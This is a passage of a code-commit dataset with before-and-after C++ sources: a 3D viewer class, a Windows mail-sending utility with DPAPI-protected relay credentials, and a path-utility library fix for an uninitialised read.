matrix;\n\tmatrix.translate( V3f( 0, 0, 1 ) );\n\tmatrix.rotate( IECore::degreesToRadians( V3f( -25, 45, 0 ) ) );\n\tcamera->setTransform( new IECore::MatrixTransform( matrix ) );\n\n\tviewportGadget()->setCamera( camera.get() );\n}\n\nView3D::~View3D()\n{\n}\n\nconst IECoreGL::State *View3D::baseState() const\n{\n\treturn m_baseState.get();\n}\n\nView3D::BaseStateChangedSignal &View3D::baseStateChangedSignal()\n{\n\treturn m_baseStateChangedSignal;\n}\n\nvoid View3D::plugSet( const Gaffer::Plug *plug )\n{\n\tif( plug == getChild<Plug>( \"baseState\" ) )\n\t{\n\t\tupdateBaseState();\n\t}\n}\n\nvoid View3D::updateBaseState()\n{\n\tconst CompoundPlug *baseState = getChild<CompoundPlug>( \"baseState\" );\n\n\tconst CompoundPlug *solid = baseState->getChild<CompoundPlug>( \"solid\" );\n\tm_baseState->add(\n\t\tnew Primitive::DrawSolid( solid->getChild<BoolPlug>( \"enabled\" )->getValue() ),\n\t\tsolid->getChild<BoolPlug>( \"override\" )->getValue()\n\t);\n\n\tconst CompoundPlug *wireframe = baseState->getChild<CompoundPlug>( \"wireframe\" );\n\tm_baseState->add(\n\t\tnew Primitive::DrawWireframe( wireframe->getChild<BoolPlug>( \"enabled\" )->getValue() ),\n\t\twireframe->getChild<BoolPlug>( \"override\" )->getValue()\n\t);\n\n\tconst CompoundPlug *points = baseState->getChild<CompoundPlug>( \"points\" );\n\tm_baseState->add(\n\t\tnew Primitive::DrawPoints( points->getChild<BoolPlug>( \"enabled\" )->getValue() ),\n\t\tpoints->getChild<BoolPlug>( \"override\" )->getValue()\n\t);\n\n\tconst CompoundPlug *bound = baseState->getChild<CompoundPlug>( \"bound\" );\n\tm_baseState->add(\n\t\tnew Primitive::DrawBound( bound->getChild<BoolPlug>( \"enabled\" )->getValue() ),\n\t\tbound->getChild<BoolPlug>( \"override\" )->getValue()\n\t);\n\n\tbaseStateChangedSignal()( this );\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ condor_mail.cpp : main project file.\r\n\/\/ compile with: \/clr\r\n\r\n#using <mscorlib.dll>\r\n#using <System.dll>\r\n#using <System.Net.dll>\r\n#using <System.Security.dll>\r\n\r\nusing namespace System;\r\nusing namespace System::Net;\r\nusing namespace System::Net::Mail;\r\nusing namespace System::Security;\r\nusing namespace System::Security::Cryptography;\r\nusing namespace System::Text;\r\nusing namespace System::Collections;\r\nusing namespace System::Collections::Generic;\r\nusing namespace Microsoft::Win32;\r\n\r\nvoid Usage(Int32 code) {\r\n    Console::Error->WriteLine(\"usage: condor_mail [-f from] \"\r\n                    \"[-s subject] [-relay relayhost] \"\r\n                    \"[-savecred -u user@relayhost -p password] recipient ...\");\r\n    Environment::Exit(code);\r\n}\r\n\r\nString^ Username() {\r\n    String^ username = nullptr;\r\n    username = Environment::GetEnvironmentVariable(\"CONDOR_MAIL_USER\");\r\n    if (!String::IsNullOrEmpty(username)) {\r\n        return username;\r\n    }\r\n    username = Environment::UserName;\r\n    if (!String::IsNullOrEmpty(username)) {\r\n        return username;\r\n    }\r\n    username = Environment::GetEnvironmentVariable(\"USER\");\r\n    if (!String::IsNullOrEmpty(username)) {\r\n        return username;\r\n    }\r\n    return \"unknown\";\r\n}\r\n\r\nString^ Body() {\r\n    return Console::In->ReadToEnd();\r\n}\r\n\r\nString^ SmtpRelaysSubKey() {\r\n    return \"SOFTWARE\\\\condor\\\\SmtpRelays\";\r\n}\r\n\r\nvoid SaveCredentials(String^ relay, String^ login, String^ password) {\r\n    try {\r\n        RegistryKey^ key = Registry::LocalMachine->OpenSubKey(\r\n            SmtpRelaysSubKey(), true);\r\n        if (!key) {\r\n            key = Registry::LocalMachine->CreateSubKey(SmtpRelaysSubKey());\r\n        }\r\n        array<Byte>^ securePassword = ProtectedData::Protect(\r\n            Encoding::UTF8->GetBytes(password), nullptr,\r\n            DataProtectionScope::LocalMachine);\r\n        String^ value = String::Format(\"{0} {1}\", login,\r\n            Convert::ToBase64String(securePassword));\r\n        key->SetValue(relay, value);\r\n        key->Close();\r\n    }\r\n    catch (Exception^ e) {\r\n        Console::Error->WriteLine(\"error : \" + e->Message);\r\n        Usage(1);\r\n    }\r\n}\r\n\r\nNetworkCredential^ FindCredentials(String^ relay) {\r\n    try {\r\n        RegistryKey^ key = Registry::LocalMachine->OpenSubKey(\r\n            SmtpRelaysSubKey());\r\n        if (!key) {\r\n            return nullptr;\r\n        }\r\n        String^ value = (String^) key->GetValue(relay);\r\n        key->Close();\r\n        if (!value) {\r\n            return nullptr;\r\n        }\r\n        array<String^>^ split = value->Split();\r\n        String^ login = split[0];\r\n        String^ password = Encoding::UTF8->GetString(\r\n            ProtectedData::Unprotect(Convert::FromBase64String(split[1]),\r\n                                nullptr, DataProtectionScope::LocalMachine));\r\n        return gcnew NetworkCredential(login, password);\r\n    }\r\n    catch (Exception^ e) {\r\n        Console::Error->WriteLine(\"error : \" + e->Message);\r\n        Usage(1);\r\n    }\r\n    return nullptr;\r\n}\r\n\r\nint main(array<String^>^ args) {\r\n    List<MailAddress^>^ recipients = gcnew List<MailAddress^>();\r\n    String^             subject    = \"\";\r\n    String^             from       = Username() + \"@\" + Dns::GetHostName();\r\n    String^             relay      = \"127.0.0.1\";\r\n    String^             login      = \"\";\r\n    String^             password   = \"\";\r\n    Boolean             saveCred   = false;\r\n    try {\r\n        for (int i = 0; i < args->Length; ++i) {\r\n            if (\"-s\" == args[i]) {\r\n                subject = args[++i];\r\n            }\r\n            else if (\"-f\" == args[i]) {\r\n                from = args[++i];\r\n            }\r\n            else if (\"-relay\" == args[i]) {\r\n                relay = args[++i];\r\n            }\r\n            else if (\"-savecred\" == args[i]) {\r\n                saveCred = true;\r\n            }\r\n            else if (\"-u\" == args[i]) {\r\n                login = args[++i];\r\n            }\r\n            else if (\"-p\" == args[i]) {\r\n                password = args[++i];\r\n            }\r\n            else {\r\n                \/\/ this is a recipient\r\n                recipients->Add(gcnew MailAddress(args[i]));\r\n            }\r\n        }\r\n    }\r\n    catch (Exception^ e) {\r\n        Console::Error->WriteLine(\"error: \" + e->Message);\r\n        Usage(1);\r\n    }\r\n    if (!saveCred && (!String::IsNullOrEmpty(login) ||\r\n                      !String::IsNullOrEmpty(password))) {\r\n        Console::Error->WriteLine(\"error: -u or -p cannot be used \"\r\n                                  \"without -savecred\");\r\n        Usage(4);\r\n    }\r\n    if (saveCred) {\r\n        if (String::IsNullOrEmpty(relay)) {\r\n            Console::Error->WriteLine(\"error: -savecred cannot be used \"\r\n                                      \"without -relay\");\r\n            Usage(4);\r\n        }\r\n        else if (\"127.0.0.1\" == relay) {\r\n            Console::WriteLine(\"warning: saving credential for 127.0.0.1\");\r\n        }\r\n        if (String::IsNullOrEmpty(login) || String::IsNullOrEmpty(password)) {\r\n            Console::Error->WriteLine(\"error: -u and -p are required \"\r\n                                      \"with -savecred\");\r\n            Usage(4);\r\n        }\r\n        SaveCredentials(relay, login, password);\r\n        Console::WriteLine(\"info: saved credential for {0} at relay {1}\",\r\n                           login, relay);\r\n        Environment::Exit(0);\r\n    }\r\n    if (!recipients->Count) {\r\n        Console::Error->WriteLine(\"error: you must specify \"\r\n                                  \"at least one recipient.\");\r\n        Usage(2);\r\n    }\r\n    try {\r\n        SmtpClient^        client          = gcnew SmtpClient(relay);\r\n        MailMessage^       msg             = gcnew MailMessage();\r\n        NetworkCredential^ credentials     = FindCredentials(relay);\r\n        if (credentials) {\r\n            client->EnableSsl   = true;\r\n            client->Credentials = credentials;\r\n            from                = credentials->UserName;\r\n        }\r\n        msg->From = gcnew MailAddress(from);\r\n        msg->Subject = subject;\r\n        msg->Body = Body();\r\n        for (int i = 0; i < recipients->Count; ++i) {\r\n            msg->To->Add(recipients[i]);\r\n        }\r\n        client->Send(msg);\r\n    }\r\n    catch (Exception^ e) {\r\n        Console::Error->WriteLine(\"error: \" + e->Message);\r\n        Usage(3);\r\n    }\r\n}\r\n<commit_msg>Do not override from when using relay credentials<commit_after>\/\/ condor_mail.cpp : main project file.\r\n\/\/ compile with: \/clr\r\n\r\n#using <mscorlib.dll>\r\n#using <System.dll>\r\n#using <System.Net.dll>\r\n#using <System.Security.dll>\r\n\r\nusing namespace System;\r\nusing namespace System::Net;\r\nusing namespace System::Net::Mail;\r\nusing namespace System::Security;\r\nusing namespace System::Security::Cryptography;\r\nusing namespace System::Text;\r\nusing namespace System::Collections;\r\nusing namespace System::Collections::Generic;\r\nusing namespace Microsoft::Win32;\r\n\r\nvoid Usage(Int32 code) {\r\n    Console::Error->WriteLine(\"usage: condor_mail [-f from] \"\r\n                    \"[-s subject] [-relay relayhost] \"\r\n                    \"[-savecred -u user@relayhost -p password] recipient ...\");\r\n    Environment::Exit(code);\r\n}\r\n\r\nString^ Username() {\r\n    String^ username = nullptr;\r\n    username = Environment::GetEnvironmentVariable(\"CONDOR_MAIL_USER\");\r\n    if (!String::IsNullOrEmpty(username)) {\r\n        return username;\r\n    }\r\n    username = Environment::UserName;\r\n    if (!String::IsNullOrEmpty(username)) {\r\n        return username;\r\n    }\r\n    username = Environment::GetEnvironmentVariable(\"USER\");\r\n    if (!String::IsNullOrEmpty(username)) {\r\n        return username;\r\n    }\r\n    return \"unknown\";\r\n}\r\n\r\nString^ Body() {\r\n    return Console::In->ReadToEnd();\r\n}\r\n\r\nString^ SmtpRelaysSubKey() {\r\n    return \"SOFTWARE\\\\condor\\\\SmtpRelays\";\r\n}\r\n\r\nvoid SaveCredentials(String^ relay, String^ login, String^ password) {\r\n    try {\r\n        RegistryKey^ key = Registry::LocalMachine->OpenSubKey(\r\n            SmtpRelaysSubKey(), true);\r\n        if (!key) {\r\n            key = Registry::LocalMachine->CreateSubKey(SmtpRelaysSubKey());\r\n        }\r\n        array<Byte>^ securePassword = ProtectedData::Protect(\r\n            Encoding::UTF8->GetBytes(password), nullptr,\r\n            DataProtectionScope::LocalMachine);\r\n        String^ value = String::Format(\"{0} {1}\", login,\r\n            Convert::ToBase64String(securePassword));\r\n        key->SetValue(relay, value);\r\n        key->Close();\r\n    }\r\n    catch (Exception^ e) {\r\n        Console::Error->WriteLine(\"error : \" + e->Message);\r\n        Usage(1);\r\n    }\r\n}\r\n\r\nNetworkCredential^ FindCredentials(String^ relay) {\r\n    try {\r\n        RegistryKey^ key = Registry::LocalMachine->OpenSubKey(\r\n            SmtpRelaysSubKey());\r\n        if (!key) {\r\n            return nullptr;\r\n        }\r\n        String^ value = (String^) key->GetValue(relay);\r\n        key->Close();\r\n        if (!value) {\r\n            return nullptr;\r\n        }\r\n        array<String^>^ split = value->Split();\r\n        String^ login = split[0];\r\n        String^ password = Encoding::UTF8->GetString(\r\n            ProtectedData::Unprotect(Convert::FromBase64String(split[1]),\r\n                                nullptr, DataProtectionScope::LocalMachine));\r\n        return gcnew NetworkCredential(login, password);\r\n    }\r\n    catch (Exception^ e) {\r\n        Console::Error->WriteLine(\"error : \" + e->Message);\r\n        Usage(1);\r\n    }\r\n    return nullptr;\r\n}\r\n\r\nint main(array<String^>^ args) {\r\n    List<MailAddress^>^ recipients = gcnew List<MailAddress^>();\r\n    String^             subject    = \"\";\r\n    String^             from       = Username() + \"@\" + Dns::GetHostName();\r\n    String^             relay      = \"127.0.0.1\";\r\n    String^             login      = \"\";\r\n    String^             password   = \"\";\r\n    Boolean             saveCred   = false;\r\n    try {\r\n        for (int i = 0; i < args->Length; ++i) {\r\n            if (\"-s\" == args[i]) {\r\n                subject = args[++i];\r\n            }\r\n            else if (\"-f\" == args[i]) {\r\n                from = args[++i];\r\n            }\r\n            else if (\"-relay\" == args[i]) {\r\n                relay = args[++i];\r\n            }\r\n            else if (\"-savecred\" == args[i]) {\r\n                saveCred = true;\r\n            }\r\n            else if (\"-u\" == args[i]) {\r\n                login = args[++i];\r\n            }\r\n            else if (\"-p\" == args[i]) {\r\n                password = args[++i];\r\n            }\r\n            else {\r\n                \/\/ this is a recipient\r\n                recipients->Add(gcnew MailAddress(args[i]));\r\n            }\r\n        }\r\n    }\r\n    catch (Exception^ e) {\r\n        Console::Error->WriteLine(\"error: \" + e->Message);\r\n        Usage(1);\r\n    }\r\n    if (!saveCred && (!String::IsNullOrEmpty(login) ||\r\n                      !String::IsNullOrEmpty(password))) {\r\n        Console::Error->WriteLine(\"error: -u or -p cannot be used \"\r\n                                  \"without -savecred\");\r\n        Usage(4);\r\n    }\r\n    if (saveCred) {\r\n        if (String::IsNullOrEmpty(relay)) {\r\n            Console::Error->WriteLine(\"error: -savecred cannot be used \"\r\n                                      \"without -relay\");\r\n            Usage(4);\r\n        }\r\n        else if (\"127.0.0.1\" == relay) {\r\n            Console::WriteLine(\"warning: saving credential for 127.0.0.1\");\r\n        }\r\n        if (String::IsNullOrEmpty(login) || String::IsNullOrEmpty(password)) {\r\n            Console::Error->WriteLine(\"error: -u and -p are required \"\r\n                                      \"with -savecred\");\r\n            Usage(4);\r\n        }\r\n        SaveCredentials(relay, login, password);\r\n        Console::WriteLine(\"info: saved credential for {0} at relay {1}\",\r\n                           login, relay);\r\n        Environment::Exit(0);\r\n    }\r\n    if (!recipients->Count) {\r\n        Console::Error->WriteLine(\"error: you must specify \"\r\n                                  \"at least one recipient.\");\r\n        Usage(2);\r\n    }\r\n    try {\r\n        SmtpClient^        client          = gcnew SmtpClient(relay);\r\n        MailMessage^       msg             = gcnew MailMessage();\r\n        NetworkCredential^ credentials     = FindCredentials(relay);\r\n        if (credentials) {\r\n            client->EnableSsl   = true;\r\n            client->Credentials = credentials;\r\n        }\r\n        msg->From = gcnew MailAddress(from);\r\n        msg->Subject = subject;\r\n        msg->Body = Body();\r\n        for (int i = 0; i < recipients->Count; ++i) {\r\n            msg->To->Add(recipients[i]);\r\n        }\r\n        client->Send(msg);\r\n    }\r\n    catch (Exception^ e) {\r\n        Console::Error->WriteLine(\"error: \" + e->Message);\r\n        Usage(3);\r\n    }\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009, Zbigniew Zagorski\n\/\/ This software licensed under terms described in LICENSE.txt\n\/\/\n\n#include \"tinfra\/platform.h\"\n\n#include \"tinfra\/path.h\"\n#include \"tinfra\/fs.h\"\n\n#include \"tinfra\/fmt.h\"\n#include \"tinfra\/exeinfo.h\"\n#include \"tinfra\/string.h\"\n\n#ifdef HAVE_SYS_TIME_H\n#include <sys\/time.h>\n#endif\n\n#ifdef HAVE_TIME_H\n#include <time.h>\n#endif\n\n#include <cstdlib>\n#include <cctype>\n#include <string.h>\n\n\n\n\/\/ need from system\n\/\/    stat\n\/\/    path separator, \n\/\/       NO! always use \/ (only user and incompatible system calls will get system specific paths)\n\/\/  \n#include <sys\/stat.h>\n\nnamespace tinfra {\nnamespace path {\n\nstatic tstring remove_duplicate_initial_slashes(tstring s)\n{\n    while( s.size() > 1 && s[0] == '\/' && s[1] == '\/' ) {\n        s = s.substr(1);\n    }\n    return s;\n}\n\nstatic tstring remove_duplicate_trailing_slashes(tstring s)\n{\n    size_t size = s.size();\n    while( size > 1 && s[size-1] == '\/' && s[size-2] == '\/' ) {\n        s = s.substr(0, size-1);\n\tsize -= 1;\n    }\n    return s;\n}\n\nstatic tstring remove_duplicate_slashes_at_ends(tstring const& other)\n{\n    return remove_duplicate_initial_slashes(\n               remove_duplicate_trailing_slashes(other));\n}\nstatic size_t calc_join_length(tstring const& s, size_t& result, bool& need_sep_flag)\n{\n    if( s.size() > 0 ) {\n        if( need_sep_flag ) {\n            result += 1;\n\t}\n        result += s.size();\n        need_sep_flag = true;\n    }\n}\n\nstatic void join_append(std::string& result, tstring component, bool& separator_flag)\n{\n    if( component.size() > 0 ) {\n\tconst bool start_last_is_separator = (result[result.size()-1] == '\/');\n\tconst bool first_char_of_component_is_separator = (component[0] == '\/');\n\tif( start_last_is_separator && first_char_of_component_is_separator ) {\n\t    \/\/ if we already have XXX\/ and add \/FOO then\n\t    \/\/ just advance one char in added component\n\t    component = component.substr(1);\n\t} else if( separator_flag && !first_char_of_component_is_separator ) {\n\t    \/\/ if we need separator and it's not already\n\t    \/\/ in place, add it\n\t    result.append(\"\/\");\n\t}\n        result.append(component.data(), component.size());\n\n\tconst bool result_last_is_separator = (result[result.size()-1] == '\/');\n\tseparator_flag = !result_last_is_separator;\n    }\n}\n\nstd::string join(tstring const& p1, tstring const& p2, tstring const& p3, tstring const& p4)\n{\n    std::string result;\n\n    tstring s1 = remove_duplicate_slashes_at_ends(p1);\n    tstring s2 = remove_duplicate_slashes_at_ends(p2);\n    tstring s3 = remove_duplicate_slashes_at_ends(p3);\n    tstring s4 = remove_duplicate_slashes_at_ends(p4);\n\n    \/\/ calculate length\n    {\n        size_t result_size = 0;\n\tbool    need_sep_flag = false;\n\tcalc_join_length(s1, result_size, need_sep_flag);\n\tcalc_join_length(s2, result_size, need_sep_flag);\n\tcalc_join_length(s3, result_size, need_sep_flag);\n\tcalc_join_length(s4, result_size, need_sep_flag);\n\tresult.reserve(result_size+1);\n    }\n    {\n        bool separator_flag = false;\n        join_append(result, s1, separator_flag);\n        join_append(result, s2, separator_flag);\n        join_append(result, s3, separator_flag);\n        join_append(result, s4, separator_flag);\n    }\n    return result;\n}\n\nstd::string basename(tstring const& name)\n{\n    std::string::size_type p = name.find_last_of(\"\/\\\\\");\n    if( p == tstring::npos ) {\n        return name.str();\n    } else {\n        return std::string(name.data()+p+1, name.size()-p-1);\n    }\n}\n\n\nstd::string dirname(tstring const& name)\n{\n    if( name.size() == 0 ) return \".\";\n    tstring::size_type p = name.find_last_of(\"\/\\\\\");\n    if( p == tstring::npos ) {\n        return \".\";\n    } else if( p == 0 )  {\n        return \"\/\";\n    } else {\n        return std::string(name.data(), p);\n    }\n}\n\nstd::string sanitize(tstring const& path)\n{\n    \n    return path;\n}\n\nstd::string tmppath(const char* prefix, const char* tmpdir)\n{\n    if( tmpdir == 0 || strlen(tmpdir) == 0 ) {\n        tmpdir  = ::getenv(\"TMP\");\n        if( !tmpdir) \n            tmpdir = ::getenv(\"TEMP\");\n        #ifdef _WIN32\n            if( !tmpdir) \n                tmpdir = \"\/Temp\";\n        #else\n            if( !tmpdir) \n                tmpdir = \"\/tmp\";\n        #endif\n    }       \n    \/\/ TODO: it's somewhat weak radnomization strategy\n    \/\/       invent something better\n    time_t t;\n    time(&t);\n    static bool srand_called = false;\n    if( !srand_called ) {\n        srand_called = true;\n        ::srand(static_cast<unsigned>(t));\n    }\n    int stamp = ::rand() % 104729; \/\/ 104729 is some arbitrary prime number\n    \n    std::string sprefix;\n    if( prefix == 0 || strlen(prefix) == 0) {\n        sprefix = remove_extension(basename(get_exepath()));\n    } else {\n        sprefix = prefix;\n    }\n    const std::string result = fmt(\"%s\/%s_%s_%s\") % tmpdir % sprefix % t % stamp;\n    return result; \n}\n\n#ifdef _WIN32\nstatic std::vector<std::string> get_executable_extensions() \n{\n    const char* pathext = std::getenv(\"PATHEXT\");\n    if( pathext == 0 )\n        pathext = \".com;.exe;.bat;.cmd\";\n    return split(pathext, ';');\n}\n\nbool is_executable(tstring const& name, std::vector<std::string> const& extensions)\n{\n    \/\/ check existence\n    if( !tinfra::fs::exists(name) )\n        return false;\n    \n    \/\/ check correct extension\n    const size_t name_len = name.size();\n    for( std::vector<std::string>::const_iterator iext = extensions.begin();\n          iext != extensions.end(); ++iext)\n    {\n        const std::string& ext    = *iext;\n        const size_t       extlen = ext.size();\n        \n        if( name_len < extlen )\n            continue;\n        \n        const tstring actual_ext = name.substr(name_len-extlen, extlen);\n        if( compare_no_case(actual_ext.data(), ext.data(), extlen) == 0 ) {\n            return true;\n        }\n    }\n    return false;\n}\n\n#endif\n\nbool is_executable(tstring const& name)\n{\n#ifdef _WIN32\n    \/\/ check PATHEXT or \".exe .com .bat .cmd\"\n    std::vector<std::string> extensions = get_executable_extensions();\n    return is_executable(name, extensions);\n#else\n    string_pool temporary_context;\n    struct stat st;\n    if( ::stat(name.c_str(temporary_context), &st) != 0 ) \n        return false;\n    const bool regular_file = (st.st_mode & S_IFREG) == S_IFREG; \n    const bool executable   = (st.st_mode & 0111) != 0;\n    return regular_file && executable;\n#endif\n}\n\nbool is_absolute(tstring const& filename)\n{\n    if( filename.size() == 0 )\n        return false;\n    if( filename[0] == '\/' || filename [0] == '\\\\')\n        return true;\n#ifdef _WIN32\n    if( filename.size() >= 2 && std::isalpha(filename[0]) && filename[1] == ':' )\n        return true;\n#endif\n    return false;\n}\n\n\nstd::string extension(tstring const& filename)\n{\n    \n    size_t last_dot = filename.find_last_of(\".\");\n    if( last_dot == tstring::npos )\n        return \"\";\n    \n    size_t last_slash = filename.find_last_of(\"\\\\\/\");\n    if( last_slash != tstring::npos && last_slash > last_dot )\n        \/\/ extension is somewhere in path component\n        return \"\";\n        \n    return filename.substr(last_dot+1).str();\n    \n}\n\nstd::string remove_extension(tstring const& filename)\n{\n\tconst size_t last_slash = filename.find_last_of(\"\\\\\/\");\n\tconst size_t last_dot = filename.find_last_of('.');\n\tif( ( last_slash != tstring::npos && last_dot < last_slash) || \n\t    ( last_dot == tstring::npos) ||\n\t\t( last_dot == filename.size() - 1 )\n\t\t) \n\t{\n\t\treturn filename.str();\n\t} else {\n\t\ttstring result = filename.substr(0, last_dot);\n\t\treturn result.str();\n\t}\n}\n\nstd::string remove_all_extensions(tstring const& filename)\n{\n\tconst size_t last_slash = filename.find_last_of(\"\\\\\/\");\n\tconst size_t last_dot = filename.find_first_of('.', last_slash);\n\tif( ( last_dot == tstring::npos ) ||\n\t\t( last_dot == filename.size() - 1 ) ) \n\t{\n\t\treturn filename.str();\n\t} else {\n\t\ttstring result = filename.substr(0, last_dot);\n\t\treturn result.str();\n\t}\n}\n\n\nbool has_extension(tstring const& filename)\n{\n    size_t find_start = filename.find_last_of(\"\\\\\/\");\n    if( find_start == tstring::npos )\n        find_start = 0;\n    else\n        find_start++;\n    \n    const size_t dot_pos = filename.find_first_of('.', find_start);\n    const bool dot_exists =   (dot_pos != tstring::npos);\n    const bool not_at_start = (dot_pos > find_start);\n    return dot_exists && not_at_start;\n}\n\n#ifdef _WIN32\nstatic const char PATH_SEPARATOR = ';';\n#else\nstatic const char PATH_SEPARATOR = ':';\n#endif\n\n#ifdef _WIN32\n\n\/\/\/\n\/\/\/ Check if file with appended various extensions\n\/\/\/ exists.\n\/\/\/\n\/\/\/ \n\/\/\/ @return empty if none of variant exists or name of firts variant that exists\n\nstatic std::string find_variant(tstring const& filename, std::vector<std::string> const& extensions)\n{\n    std::string pathext;\n    for( std::vector<std::string>::const_iterator iext = extensions.begin(); iext != extensions.end(); ++iext ) {\n        pathext.reserve(filename.size() + iext->size());\n        \n        pathext.assign(filename.data(), filename.size());\n        pathext.append(*iext);\n        \n        if( fs::exists(pathext) ) {\n            return pathext;\n        }\n    }\n    return \"\";\n}\n\nstd::string search_executable(tstring const& filename, tstring const& path)\n{\n    const bool filename_has_extension    = has_extension(filename);\n    const bool filename_is_absolute_path = is_absolute(filename);\n    \n    const std::vector<std::string> extensions = get_executable_extensions();  \n    \n    if( ! filename_is_absolute_path ) {\n        const std::vector<std::string> dirs = split(path, PATH_SEPARATOR);\n        \n        for(std::vector<std::string>::const_iterator ipath = dirs.begin(); ipath != dirs.end(); ++ipath ) {\n            const std::string path1 = tinfra::path::join(*ipath, filename);\n            if( filename_has_extension ) {\n                if( is_executable(path1 ,extensions) )\n                    return path1;\n                continue;\n            }\n            std::string maybe_with_ext = find_variant(path1, extensions);\n            if( ! maybe_with_ext.empty() )\n                return maybe_with_ext;\n        }\n    } else if( ! filename_has_extension ) {\n        return find_variant(filename.str(), extensions);\n    } else {\n        if( is_executable(filename, extensions) ) {\n            return filename.str();\n        }\n    }\n    return \"\";\n}\n\n\/\/ end of win32 version of search_executable\n#else \n\/\/ start of common, posix version\n\n\/\/ TODO: move it to posix_common.sh\nstd::string search_executable(tstring const& filename, tstring const& path)\n{\n    if( is_absolute(filename) )\n        if( is_executable(filename) )\n            return filename.str();\n    \n    std::vector<std::string> dirs = split(path, PATH_SEPARATOR);\n    \n    for(std::vector<std::string>::const_iterator ipath = dirs.begin(); ipath != dirs.end(); ++ipath )\n    {\n        std::string result_name = tinfra::path::join(*ipath, filename);\n        if( is_executable(result_name) ) {\n            return result_name;\n        }\n    }\n    return \"\";\n}\n#endif\n\nstd::string search_executable(tstring const& filename)\n{\n    const char* path = std::getenv(\"PATH\");\n    if( path == 0 )\n        path = \"\";\n    return search_executable(filename, path);\n}\n\n} } \/\/ end namespace tinfra::path\n\n\/\/ jedit: :tabSize=8:indentSize=4:noTabs=true:mode=c++\n\n<commit_msg>path.cpp: fixed valgrind error in join_append (Conditional jump or move depends on uninitialised value(s))<commit_after>\/\/ Copyright (c) 2009, Zbigniew Zagorski\n\/\/ This software licensed under terms described in LICENSE.txt\n\/\/\n\n#include \"tinfra\/platform.h\"\n\n#include \"tinfra\/path.h\"\n#include \"tinfra\/fs.h\"\n\n#include \"tinfra\/fmt.h\"\n#include \"tinfra\/exeinfo.h\"\n#include \"tinfra\/string.h\"\n\n#ifdef HAVE_SYS_TIME_H\n#include <sys\/time.h>\n#endif\n\n#ifdef HAVE_TIME_H\n#include <time.h>\n#endif\n\n#include <cstdlib>\n#include <cctype>\n#include <string.h>\n\n\n\n\/\/ need from system\n\/\/    stat\n\/\/    path separator, \n\/\/       NO! always use \/ (only user and incompatible system calls will get system specific paths)\n\/\/  \n#include <sys\/stat.h>\n\nnamespace tinfra {\nnamespace path {\n\nstatic tstring remove_duplicate_initial_slashes(tstring s)\n{\n    while( s.size() > 1 && s[0] == '\/' && s[1] == '\/' ) {\n        s = s.substr(1);\n    }\n    return s;\n}\n\nstatic tstring remove_duplicate_trailing_slashes(tstring s)\n{\n    size_t size = s.size();\n    while( size > 1 && s[size-1] == '\/' && s[size-2] == '\/' ) {\n        s = s.substr(0, size-1);\n\tsize -= 1;\n    }\n    return s;\n}\n\nstatic tstring remove_duplicate_slashes_at_ends(tstring const& other)\n{\n    return remove_duplicate_initial_slashes(\n               remove_duplicate_trailing_slashes(other));\n}\nstatic size_t calc_join_length(tstring const& s, size_t& result, bool& need_sep_flag)\n{\n    if( s.size() > 0 ) {\n        if( need_sep_flag ) {\n            result += 1;\n\t}\n        result += s.size();\n        need_sep_flag = true;\n    }\n}\n\nstatic void join_append(std::string& result, tstring component, bool& separator_flag)\n{\n    if( component.size() > 0 ) {\n\tconst bool start_last_is_separator = result.size() > 0 && (result[result.size()-1] == '\/');\n\tconst bool first_char_of_component_is_separator = (component[0] == '\/');\n\tif( start_last_is_separator && first_char_of_component_is_separator ) {\n\t    \/\/ if we already have XXX\/ and add \/FOO then\n\t    \/\/ just advance one char in added component\n\t    component = component.substr(1);\n\t} else if( separator_flag && !first_char_of_component_is_separator ) {\n\t    \/\/ if we need separator and it's not already\n\t    \/\/ in place, add it\n\t    result.append(\"\/\");\n\t}\n        result.append(component.data(), component.size());\n\n\tconst bool result_last_is_separator = (result[result.size()-1] == '\/');\n\tseparator_flag = !result_last_is_separator;\n    }\n}\n\nstd::string join(tstring const& p1, tstring const& p2, tstring const& p3, tstring const& p4)\n{\n    std::string result;\n\n    tstring s1 = remove_duplicate_slashes_at_ends(p1);\n    tstring s2 = remove_duplicate_slashes_at_ends(p2);\n    tstring s3 = remove_duplicate_slashes_at_ends(p3);\n    tstring s4 = remove_duplicate_slashes_at_ends(p4);\n\n    \/\/ calculate length\n    {\n        size_t result_size = 0;\n\tbool    need_sep_flag = false;\n\tcalc_join_length(s1, result_size, need_sep_flag);\n\tcalc_join_length(s2, result_size, need_sep_flag);\n\tcalc_join_length(s3, result_size, need_sep_flag);\n\tcalc_join_length(s4, result_size, need_sep_flag);\n\tresult.reserve(result_size+1);\n    }\n    {\n        bool separator_flag = false;\n        join_append(result, s1, separator_flag);\n        join_append(result, s2, separator_flag);\n        join_append(result, s3, separator_flag);\n        join_append(result, s4, separator_flag);\n    }\n    return result;\n}\n\nstd::string basename(tstring const& name)\n{\n    std::string::size_type p = name.find_last_of(\"\/\\\\\");\n    if( p == tstring::npos ) {\n        return name.str();\n    } else {\n        return std::string(name.data()+p+1, name.size()-p-1);\n    }\n}\n\n\nstd::string dirname(tstring const& name)\n{\n    if( name.size() == 0 ) return \".\";\n    tstring::size_type p = name.find_last_of(\"\/\\\\\");\n    if( p == tstring::npos ) {\n        return \".\";\n    } else if( p == 0 )  {\n        return \"\/\";\n    } else {\n        return std::string(name.data(), p);\n    }\n}\n\nstd::string sanitize(tstring const& path)\n{\n    \n    return path;\n}\n\nstd::string tmppath(const char* prefix, const char* tmpdir)\n{\n    if( tmpdir == 0 || strlen(tmpdir) == 0 ) {\n        tmpdir  = ::getenv(\"TMP\");\n        if( !tmpdir) \n            tmpdir = ::getenv(\"TEMP\");\n        #ifdef _WIN32\n            if( !tmpdir) \n                tmpdir = \"\/Temp\";\n        #else\n            if( !tmpdir) \n                tmpdir = \"\/tmp\";\n        #endif\n    }       \n    \/\/ TODO: it's somewhat weak radnomization strategy\n    \/\/       invent something better\n    time_t t;\n    time(&t);\n    static bool srand_called = false;\n    if( !srand_called ) {\n        srand_called = true;\n        ::srand(static_cast<unsigned>(t));\n    }\n    int stamp = ::rand() % 104729; \/\/ 104729 is some arbitrary prime number\n    \n    std::string sprefix;\n    if( prefix == 0 || strlen(prefix) == 0) {\n        sprefix = remove_extension(basename(get_exepath()));\n    } else {\n        sprefix = prefix;\n    }\n    const std::string result = fmt(\"%s\/%s_%s_%s\") % tmpdir % sprefix % t % stamp;\n    return result; \n}\n\n#ifdef _WIN32\nstatic std::vector<std::string> get_executable_extensions() \n{\n    const char* pathext = std::getenv(\"PATHEXT\");\n    if( pathext == 0 )\n        pathext = 